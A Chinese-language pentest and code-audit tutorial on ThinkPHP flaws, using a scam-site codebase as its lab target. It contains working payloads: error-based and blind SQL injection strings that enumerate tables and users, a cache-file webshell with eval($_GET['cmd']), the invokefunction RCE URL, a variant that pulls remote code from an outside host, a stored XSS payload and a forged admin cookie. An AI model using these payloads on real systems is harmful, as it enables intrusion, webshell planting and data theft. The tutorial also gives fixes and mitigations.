关于内容:本文重点不在于简单列举已知漏洞,而是分享漏洞挖掘的思路与方法论。文中的SQL注入、XSS等案例仅作为思路演示,目的是帮助读者建立系统化的安全思维。
适读人群:适合安全爱好者、中阶渗透测试的开发者,以及希望提升代码审计能力的PHP工程师。
学习建议:建议关注每个漏洞背后的挖掘思路,而非仅停留在漏洞本身。这些方法论对其他框架的安全测试同样适用。
杀猪盘源码搭建步骤小节
1. 环境准备
- 推荐使用小皮面板(XP.CN),版本8.1.1.3
- 推荐环境配置:Apache 2.4.39 + MySQL 5.7.26
- 推荐PHP版本:PHP 5.4.X
2. 伪静态配置
- 初始搭建完成后直接访问会报错
- 在小皮面板中进入"网站"→"伪静态"选项
- 添加以下伪静态规则:
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]
</IfModule>
3. 数据库配置
- 找到源码目录中的配置文件:
application/database.php
- 修改以下关键配置项:
'type' => 'mysql', // 数据库类型
'hostname' => '127.0.0.1', // 服务器地址
'database' => '*******', // 数据库名(根据实际创建的库名填写)
'username' => '数据库用户名', // 用户名
'password' => '数据库密码', // 密码
'hostport' => '3306', // 端口
'charset' => 'utf8', // 字符集
'prefix' => 'wp_', // 表前缀(保持不变)
4. 导入数据库
- 使用Navicat Premium等数据库管理工具
- 新建数据库,命名为"DianGeZanBa"(或自定义名称,需与配置文件一致)
- 设置字符集为utf8,排序规则为utf8_unicode_ci
- 右键点击数据库,选择"运行SQL文件"
- 选择源码目录下的
数据库.sql
文件(约489KB) - 设置编码为UTF-8(65001)
- 勾选"遇到错误时继续"和"在每个运行中运行多个查询"
- 点击"开始"执行导入操作
5. 访问测试
- 访问网站域名或IP地址
- 添加伪静态后应该可以正常访问
- 如遇问题,查看错误日志排查
6. 注意事项
- 确保PHP版本兼容
- 数据库配置信息需要正确填写
- 必须正确配置伪静态规则
- 导入数据库时注意字符集设置
以上是芒果源码搭建的详细步骤,记录了从环境准备到最终访问的完整流程。每个步骤都很关键,请确保按顺序完成。
二、SQL注入漏洞类型
在ThinkPHP框架中,SQL注入漏洞主要分为两类:
- 开发者不规范编码导致的SQL注入:由于开发者直接将用户输入拼接到SQL语句中导致
- 框架自身设计缺陷导致的SQL注入:由于框架本身的某些设计缺陷,即使开发者按照正常方式使用接口,也可能导致SQL注入
三、开发者不规范编码导致的SQL注入
3.1 漏洞原理
开发者在使用ThinkPHP框架时,如果采用字符串拼接方式构建SQL查询条件,就会引入SQL注入风险。
常见的错误写法:
// 不安全写法 - 直接字符串拼接
$data = Db::name('productdata')->where('pid='.$pid)->find();
$opentime = db('opentime')->where('pid='.$pid)->find();
// 安全的写法 - 参数绑定
$data = Db::name('productdata')->where('pid', $pid)->find();
// 或
$data = Db::name('productdata')->where(['pid' => $pid])->find();
通过代码审计,我们可以发现项目中多处存在这类风险代码。以下是在实际项目中发现的几个注入点:
Goods.php
文件第211行:$data = Db::name('productdata')->where('pid='.$pid)->find();
application\common.php
文件第583行:$opentime = db('opentime')->where('pid='.$pid)->find();
Goods.php
文件中的ajaxkdata
方法:
public function ajaxkdata()
{
// 获取线图数据,转化为array
$pid = input('key: 'param.pid');
$data = Db::name('productdata')->where('pid='.$pid)->find();
$newdata = array();
// ...后续代码省略...
}
Goods.php
文件中的goods()
方法:$isopen = ChickIsOpen($pid);
(其中ChickIsOpen函数内部也使用了不安全的查询)
3.2 漏洞验证与利用
3.2.1 SQL注入漏洞验证过程
在发现代码中存在不安全的SQL查询拼接后,我们需要进行实际验证。针对ajaxkdata
方法中的漏洞,我们构建了一系列测试:
-
正常参数测试: 首先使用合法参数确认接口工作正常:
http://192.168.1.4:8844/index.php/index/goods/ajaxkdata/pid/1
系统正常返回ID为1的产品数据。
-
错误参数测试: 当传入一个不存在的ID(如pid=6)时,观察系统响应:
http://192.168.1.4:8844/index.php/index/goods/ajaxkdata/pid/6
系统返回一个
InvalidArgumentException
错误,但并未暴露SQL查询细节。 -
基础注入测试: 尝试添加一个简单的SQL条件:
http://192.168.1.4:8844/index.php/index/goods/ajaxkdata/pid/6 and 1=1
如果与正常参数6的响应相同,说明注入点可能存在。
3.2.2 精确构造攻击载荷
确认漏洞存在后,我们构造了一个精确的攻击载荷:
http://192.168.1.4:8844/index.php/index/goods/ajaxkdata/pid/6 and(extractvalue(1,concat(0x7e,(select user()),0x7e)))
这个载荷的技术细节解析:
-
参数部分:
pid/6
- 使用一个基础数值作为参数,确保SQL语句的基础结构正确
- 选择6这个可能不存在的ID可避免过多干扰数据
-
SQL条件注入:
and(...)
- 使用
and
逻辑运算符连接额外的SQL条件 - 这能确保原始SQL的WHERE子句语法保持有效
- 使用
-
报错注入技术:
extractvalue(1,concat(0x7e,(select user()),0x7e))
extractvalue
是MySQL的XML函数,用于从XML字符串中提取值- 第一个参数
1
是一个简单的XML文档占位符 - 第二个参数是XPath表达式,此处故意构造一个非法表达式
-
信息提取机制:
concat(0x7e,(select user()),0x7e)
concat
函数将多个字符串拼接为一个0x7e
是十六进制表示的波浪号~
字符,用作标记select user()
是我们真正想执行的SQL命令,获取当前数据库用户- 使用两个波浪号包围用户名,便于在错误信息中识别
3.2.3 漏洞执行与结果分析
当我们发送这个构造的请求时,系统执行了以下SQL语句:
SELECT * FROM wp_productdata WHERE pid=6 and(extractvalue(1,concat(0x7e,(select user()),0x7e)))
执行过程发生了精确预期的事件链:
- MySQL尝试执行这个SQL查询
select user()
子查询执行,返回当前数据库用户名:root@localhost
concat
函数将用户名与波浪号拼接:~root@localhost~
extractvalue
函数尝试将这个字符串作为XPath表达式解析- 由于不是有效的XPath语法,MySQL生成错误:
SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~root@localhost~'
- 由于ThinkPHP的调试模式开启,这个错误信息被完整返回给客户端
3.2.4 漏洞利用扩展
获取数据库用户只是一个验证步骤。实际攻击中,我们可以扩展这个技术获取更多信息:
-
获取数据库版本:
pid/6 and(extractvalue(1,concat(0x7e,(select version()),0x7e)))
-
获取数据库名:
pid/6 and(extractvalue(1,concat(0x7e,(select database()),0x7e)))
-
枚举数据表:
pid/6 and(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)))
-
获取表中列名:
pid/6 and(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wp_userinfo' limit 0,1),0x7e)))
-
提取敏感数据:
pid/6 and(extractvalue(1,concat(0x7e,(select username from wp_userinfo limit 0,1),0x7e)))
通过这种方法,攻击者可以逐步获取系统中的敏感信息,从而实现数据窃取、权限提升甚至完全接管系统的目的。
这种SQL注入攻击的危险性在于,即使应用没有直接显示查询结果,攻击者仍然可以通过数据库的错误信息获取关键数据,而这正是开发人员在编写代码时容易忽视的安全盲点。
四、框架自身设计缺陷导致的SQL注入
4.1 漏洞原理
ThinkPHP5框架本身存在一个设计缺陷,在parseWhereItem方法中,当使用exp表达式操作符时,框架会直接将用户输入拼接到SQL语句中,而不进行任何参数绑定或转义处理。
// 存在风险的框架用法
$result = db('users')->where('username','exp',$username)->select();
这个问题影响所有ThinkPHP5版本,官方并不认为这是一个漏洞,而是认为这是提供给开发者的一个"特性",允许开发者构建复杂的SQL表达式。然而,当用户输入可以控制$username参数时,这就成为了一个严重的安全风险。
4.2 源码分析
漏洞存在于think\db\builder\Mysql类的parseWhereItem方法中。当操作符为EXP时,程序会直接将用户输入拼接到SQL语句中:
// ThinkPHP框架源码片段
// 在处理where条件时
if ('EXP' == strtoupper($exp)) {
// 表达式查询
return $key . ' ' . $value;
}
这里没有对$value(用户输入)进行任何过滤或转义,直接将其拼接到SQL语句中,导致SQL注入漏洞。
4.3 漏洞验证
为了验证这个漏洞,我们创建了一个测试控制器:
public function test()
{
// SQL注入测试
$username = request()->get('username');
$result = db(name: 'userinfo')->where(field: 'username', op: 'exp', $username)->select();
return 'select success';
}
然后构造攻击URL:
http://192.168.1.4:8844/index.php/index/xiaodi/test?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)%23
成功触发漏洞,获取到数据库用户信息。
五、文件包含漏洞分析
根据代码分析,我们可以看到这个漏洞的实际测试过程。在测试环境中创建了一个测试页面并创建了相应的模板文件供漏洞测试使用。
漏洞利用的关键步骤如下:
首先,开发者创建了一个测试控制器方法 include_test(),其实现与漏洞所需的代码模式一致:
public function include_test() {
// 文件包含
//index.php/index/xiaodi/include_test?cacheFile=1.txt
$this->assign(request()->get());
return $this->fetch();
// 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
需要特别注意的是,这个漏洞的利用条件相当苛刻:
- 必须使用 request()->get() 作为 assign() 方法的参数,将GET请求参数直接分配给模板变量。
- 攻击者必须能够控制传入的变量值。
- 最关键的是,要包含的文件(如 1.txt)必须已经存在于服务器上,这通常需要先通过文件上传功能将"后门"文件上传到服务器。
因此,实际利用这个漏洞,往往需要结合文件上传漏洞一起使用。攻击者首先上传一个包含恶意代码的文件(可能伪装成图片等格式),然后通过文件包含漏洞执行这个文件中的代码。
这种组合攻击在实际渗透测试中很常见,因为单一的文件包含漏洞可能受到服务器目录结构和文件名限制,而先上传再包含的方式可以绕过这些限制。
六、注入利用技术详解
SQL注入的利用技术主要有以下几种:
6.1 基于错误的注入(Error-based)
当应用将数据库错误信息返回给用户时,可以利用特定函数(如updatexml、extractvalue等)触发包含查询结果的错误信息。
让我们深入分析一个典型的报错注入语句:
http://192.168.1.4:8844/index.php/index/xiaodi/test?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)%23
6.1.1 报错注入语句结构分解
这个注入语句可以分为几个关键部分:
- 假设原始SQL语句为:
SELECT * FROM users WHERE username = (用户输入的内容)
- 提供右括号作为输入开始,就能闭合原来的括号,为后续注入做准备
- 相当于告诉数据库:"忽略前面的查询,重点关注我后面添加的查询"
- 第一个参数1:一个简单XML文档(这里简化处理)
- 第二个参数应当是XPath表达式,但我们故意提供非法值
- 第三个参数1:要更新的新值(在攻击中并不重要)
- 0x7:十六进制表示,是一个特殊字符
- user():MySQL函数,返回当前数据库用户(如"root@localhost")
- 0x7e:十六进制表示波浪号~
- 在SQL中#是注释符号,用来注释掉语句后面的内容
- 确保注入的SQL不被原始查询的剩余部分干扰
6.1.2 报错注入工作原理
当MySQL执行这个注入后的SQL语句时:
- 数据库尝试执行updatexml函数
- 在解析第二个参数作为XPath表达式时,发现~root@localhost~不是有效的XPath
- 生成错误:XPATH syntax error: '~root@localhost~'
- 由于ThinkPHP开启了调试模式,这个错误信息被返回给客户端
- 攻击者从错误信息中提取出user()函数的执行结果
这就是"报错注入"的精妙之处——即使应用不直接显示查询结果,我们也能通过故意触发数据库错误,从错误信息中提取敏感数据。
这种方法优点是直接、快速,但依赖于应用开启了调试模式或显示错误信息。在生产环境中,如果错误信息被屏蔽,这种技术可能就无法使用,需要转向其他注入技术。
6.2 基于时间的注入(Time-based)
当应用不返回错误信息时,可以使用延时函数(如sleep)来推断查询结果:
) AND IF(substring(user(),1,1)='r',sleep(5),0)#
如果第一个字符是'r',查询会延迟5秒,否则立即返回。通过观察响应时间,可以逐字符推断出完整信息。
这种方法的优点是几乎在任何环境下都可使用,缺点是速度慢,需要多次请求。
6.3 何时使用哪种技术
- 当应用返回错误信息时:优先使用基于错误的注入,速度快且准确
- 当应用不返回错误但有明显回显时:使用联合查询(UNION-based)注入
- 当应用既不返回错误也没有明显回显时:使用基于时间的盲注
- 当数据量大时:考虑使用DNS外带数据(Out-of-band)技术
七、漏洞验证方法论
安全测试中,验证SQL注入漏洞的正确方法是:
- 先编写测试代码:在可控环境中,先确认漏洞是否存在
- 构造精确payload:根据环境和需求,构造适合的攻击载荷
- 逐步扩展利用范围:从获取基本信息开始,逐步获取更多敏感数据
这种方法确保了测试的有效性和可控性,避免了在真实环境中盲目测试导致的潜在风险。
八、ThinkPHP 5.0.5 缓存漏洞详细解析
8.1 关键利用条件
漏洞的利用条件很具体:
- 代码中必须使用
Cache::set()
方法 - 这个方法中至少有一个参数必须是"可控变量"(用户可以通过请求控制的值)
8.2 代码分析
看图中的代码:
// 缓存漏洞
Cache::set(name: "name", input(key: "get.username"));
return 'Cache success';
这里:
Cache::set()
函数用于设置缓存- 第一个参数
"name"
是固定的缓存名称 - 第二个参数
input(key: "get.username")
是从URL获取的用户名参数 - 关键问题: 第二个参数完全依赖于用户输入,没有任何过滤或验证
8.3 漏洞原理详解
- ThinkPHP的缓存机制:
- ThinkPHP将缓存内容保存为PHP文件
- 这些文件存储在
runtime/cache/
目录下 - 缓存文件的路径是根据缓存键名(
"name"
)的MD5值前两位决定的
- 漏洞触发过程:
- 用户访问
index
方法,并在URL中提供username
参数 - 系统调用
Cache::set()
函数,将用户输入的值存入缓存 - 缓存系统将这个值写入一个PHP文件
- 如果用户输入包含PHP代码(例如
<?php eval($_GET['cmd']); ?>
) - 这个PHP代码会被完整地写入缓存文件
- 用户访问
- 注入技巧:
- 攻击者使用
%0d%0a
(回车换行)来分隔正常缓存内容和恶意代码 - 例如:
username=正常内容%0d%0a<?php eval($_GET['cmd']); ?>
- 这样在缓存文件中恶意代码会独占一行并被PHP解释器执行
- 攻击者使用
- 为什么能成功:
- ThinkPHP没有对存入缓存的内容做严格过滤
- 缓存文件以
.php
结尾,服务器会将其作为PHP文件执行 - 缓存文件可以直接从外部访问(如果知道路径)
8.4 完整利用流程
- 识别漏洞点:找到使用
Cache::set()
且参数可控的代码 - 构造恶意请求:在参数中注入换行符和PHP代码
- 触发缓存生成:访问含有漏洞的URL,让系统生成缓存文件
- 计算缓存路径:根据缓存名称计算MD5值,确定文件位置
- 访问缓存文件:直接访问生成的PHP文件执行恶意代码
8.5 防护措施
- 输入验证:所有存入缓存的数据必须严格过滤,尤其是特殊字符
- 缓存目录保护:配置web服务器禁止直接访问runtime目录
- 使用安全的缓存方式:考虑使用Redis或Memcached等非文件缓存
- 升级框架:使用已修复此漏洞的ThinkPHP版本
九、ThinkPHP框架命令执行漏洞
9.1 漏洞原理
ThinkPHP框架中存在一个非常严重的远程命令执行漏洞,攻击者可以通过构造特殊URL,直接调用PHP内置函数,执行任意代码。
关键漏洞URL格式:
http://target/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
这个漏洞的本质在于框架允许通过URL参数直接决定要执行的PHP函数,包括危险的系统函数如system
、eval
、file_put_contents
等。
9.2 URL结构分析
-
路由部分:
?s=index/think\app/invokefunction
- 使用反斜杠(
\
)绕过了某些安全检查
- 使用反斜杠(
-
函数调用:
&function=call_user_func_array
call_user_func_array
是PHP内置函数,可以调用任意函数并传入参数数组
-
参数部分:
vars[0]=system
- 第一个参数是要调用的函数名(system是PHP执行系统命令的函数)vars[1][]=whoami
- 第二个参数是传给system函数的命令
9.3 漏洞利用示例
更复杂的利用示例:
http://target/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
这个例子会:
- 利用
file_put_contents
函数创建一个名为2.php
的文件 - 文件内容是一段PHP代码,这段代码会:
- 创建另一个文件
index11.php
- 从
https://www.hack.com/xxx.js
下载内容并写入到这个新文件
- 创建另一个文件
代码中大量使用/**/
注释是为了躲避可能存在的安全过滤。
9.4 防护措施
- 及时更新ThinkPHP框架到最新版本
- 使用Web应用防火墙(WAF)过滤恶意请求
- 禁用不必要的PHP函数(如system、exec等)
- 给Web服务器最小化权限
十、ThinkPHP XSS漏洞挖掘技巧
10.1 ThinkPHP中XSS漏洞的特殊性
-
输出语句的多义性
- 传统框架中,输出函数通常很明确(如
echo
、print
等) - ThinkPHP中,
return
语句具有双重含义:- 可以表示函数返回值
- 也可以表示向浏览器输出内容
- 这种二义性使得简单的代码搜索变得困难
- 传统框架中,输出函数通常很明确(如
-
漏洞识别难点
- 关键字搜索的局限性:搜索
return
会找到大量结果,但许多并非实际输出 - 框架特性导致的复杂性:ThinkPHP的MVC结构使得变量传递路径不直观
- 关键字搜索的局限性:搜索
10.2 功能导向挖掘法
-
黑盒思维转变
- 不是"什么地方有XSS漏洞"
- 而是"用户输入在哪里会被管理员看到"
-
理解管理员行为模式
- 思考:"管理员最常访问哪些页面?"
- 如在"杀猪盘"系统中:
- 用户管理页面是高频访问区域
- "韭菜越多它越开心"
-
针对存储型XSS的实战思路
- 用户名注入:将XSS代码注入用户名字段
- 在管理员查看用户列表时自动触发
- 无需诱导点击,是管理员正常工作流程的一部分
10.3 存储型XSS实战案例
查看上面的源码,我们发现用户信息的获取代码如下:
$userinfo = Db::name(name: 'userinfo')->where($where)->order(field: 'uid desc')->paginate(...);
$this->assign(name: 'userinfo',$userinfo);
return $this->fetch();
这里直接从数据库获取用户信息并显示,没有任何过滤处理。通过在注册时使用特制的XSS payload作为用户名,如:
xiaodisec<script>alert(2)</script>
当管理员访问用户列表页面时,这段JavaScript代码会在他们的浏览器中执行,可以用于窃取cookie、执行特权操作等。
十一、硬编码Token验证漏洞
11.1 漏洞发现过程
当分析系统的认证机制时,我们遇到了"请先登录!"的提示。通过搜索这个关键字,定位到了认证逻辑代码:(这开发素质真的低,源码我会放仓库里)
// 验证登录
$login = cookie(name: 'denglu');
if(!isset($login['userid'])){
$this->error(msg: '请先登录!', url: 'login/login', data: 1, wait: 1);
}
if(!isset($login['token']) || $login['token'] != md5(str: 'nimashabi')){
$this->redirect(url: 'login/logout');
}
11.2 关键问题
这里存在一个严重的安全设计缺陷:硬编码Token。系统简单地检查token值是否等于字符串'nimashabi'的MD5哈希值,而不是使用动态生成的、不可预测的令牌。
11.3 利用方法
-
计算已知字符串的MD5值:
md5("nimashabi") = 3c341b110c44ad9e7da4160e4f865b63
-
构造Cookie:
denglu=think:{"otype":"3","userid":"1","username":"admin","token":"3c341b110c44ad9e7da4160e4f865b63"}
-
直接访问后台:
- 添加构造好的Cookie
- 访问管理后台页面
- 成功绕过身份验证
11.4 修复建议
-
实施标准会话管理:
// 生成随机token $token = md5(uniqid(mt_rand(), true)); // 存储到服务器session session('user_token', $token); // 设置到cookie cookie('token', $token, ['expire' => 3600]); // 1小时过期
-
验证改进:
// 验证token $user_token = session('user_token'); $cookie_token = cookie('token'); if(empty($user_token) || $cookie_token !== $user_token) { // 验证失败,重定向到登录 $this->redirect('login/login'); }
十二、总结与防护建议
12.1 开发者编码规范
// 推荐使用参数化查询
$data = Db::name('productdata')->where('pid', $pid)->find();
// 或使用数组形式
$data = Db::name('productdata')->where(['pid' => $pid])->find();
// 避免使用exp表达式处理用户输入
// 错误示例:
$result = db('users')->where('username','exp',$username)->select();
12.2 框架安全配置
- 及时更新框架到最新版本
- 生产环境关闭app_debug和app_trace选项
- 使用最小权限原则配置数据库用户权限
12.3 部署安全措施
- 部署Web应用防火墙(WAF)过滤恶意请求
- 实施入侵检测系统监控异常请求
- 定期进行安全审计和渗透测试
ThinkPHP框架的安全性不仅依赖于框架本身,更需要开发者具备安全意识和良好的编码习惯。希望本文能帮助用户更好地理解和防范各类安全风险。